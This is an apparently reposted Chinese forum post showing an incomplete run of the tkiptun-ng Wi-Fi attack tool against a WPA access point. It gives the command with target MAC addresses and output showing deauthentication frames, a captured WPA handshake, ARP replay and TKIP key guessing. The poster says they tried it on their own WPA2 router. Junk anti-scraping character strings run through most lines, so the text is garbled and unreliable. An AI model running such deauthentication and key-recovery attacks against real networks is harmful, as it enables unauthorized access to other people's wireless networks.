新兵上阵
- 注册时间
- 2008-9-14
- 金币
- 39 个
- 威望
- 0 个
- 荣誉
- 0 个
尚未签到
|
轉貼! p) \1 M0 e0 v5 Q6 [0 A- A
The example below is incomplete but it gives some idea of how it looks.7 |+ y6 ?& h4 W% X
* @4 r+ M3 Y" d- j
, v2 \( p$ s! S
8 F' r$ R. o# m+ Z& R) n 來源mac ap mac
# e6 N( l+ P# H. ]) VInput: tkiptun-ng -h 00:0F:B5:AB:CB:9D -a 00:14:6C:7E:40:80 -m 80 -n 100 ath0
$ i. N ]. Z2 a7 |) T, P7 ]) H; V0 A8 K' r
Output:+ H$ ^0 U' r7 C6 w/ x4 d
# A& S% R' ?- p; A! ^
Blub 2:38 E6 38 1C 24 15 1C CF
; b1 c3 C3 f9 f) hBlub 1:17 DD 0D 69 1D C3 1F EE! l( @$ M7 N: L5 ?- m. Z2 U
Blub 3:29 31 79 E7 E6 CF 8D 5E( G: A0 v- v5 ~, Q( i# u
14:48:00 Michael Test: Successful& {$ p6 F& [$ u2 n, [" @
14:48:00 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9# Z2 {! Z2 C% }! _
14:48:00 Found specified AP4 ^+ H' |1 s& j; B4 ^" M
14:48:00 Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 2| 4 ACKs]$ E A9 C# x1 K, \
14:48:02 WPA handshake: 00:14:6C:7E:40:80 captured
+ \+ v! @* x6 ~5 e, F! M14:48:02 Waiting for an ARP packet coming from the Client...: K! ~# A. g" {* E* U5 }% {
Saving chosen packet in replay_src-1109-144822.cap5 x/ U- ?2 O9 f8 n
14:48:22 Waiting for an ARP response packet coming from the AP...9 Q/ T. p2 B- b- p- T l) @6 A2 e
Saving chosen packet in replay_src-1109-144822.cap ~9 w2 p$ w2 D! e! a3 w
14:48:22 Got the answer!: }/ {- J6 {- A5 T9 P
14:48:22 Waiting 5 seconds to let encrypted EAPOL frames pass without interfering.
( {- ~! j8 v+ u( ~" E
3 N# a. y: \, y) }( oSent 40 packets, current guess: 27.., E; A8 C0 {$ @, [: Z' o
3 i/ Z) w) i' M
; ~4 Y. {% ` n+ k對自家的wpa2 ap測了一下只出現
7 }2 R& g6 n- \) c: {( W# O! ]) U4 i9 E! h
Blub 2:38 E6 38 1C 24 15 1C CF
e) N/ A+ X: _+ DBlub 1:17 DD 0D 69 1D C3 1F EE
& d7 F1 x6 d2 C/ W9 YBlub 3:29 31 79 E7 E6 CF 8D 5E
4 C: A1 h- |1 D' |# J14:48:00 Michael Test: Successful
8 E- k# R* W' v e; e9 V+ ^
9 ]3 C( v$ e/ |$ `有空把密碼改改試試 |
|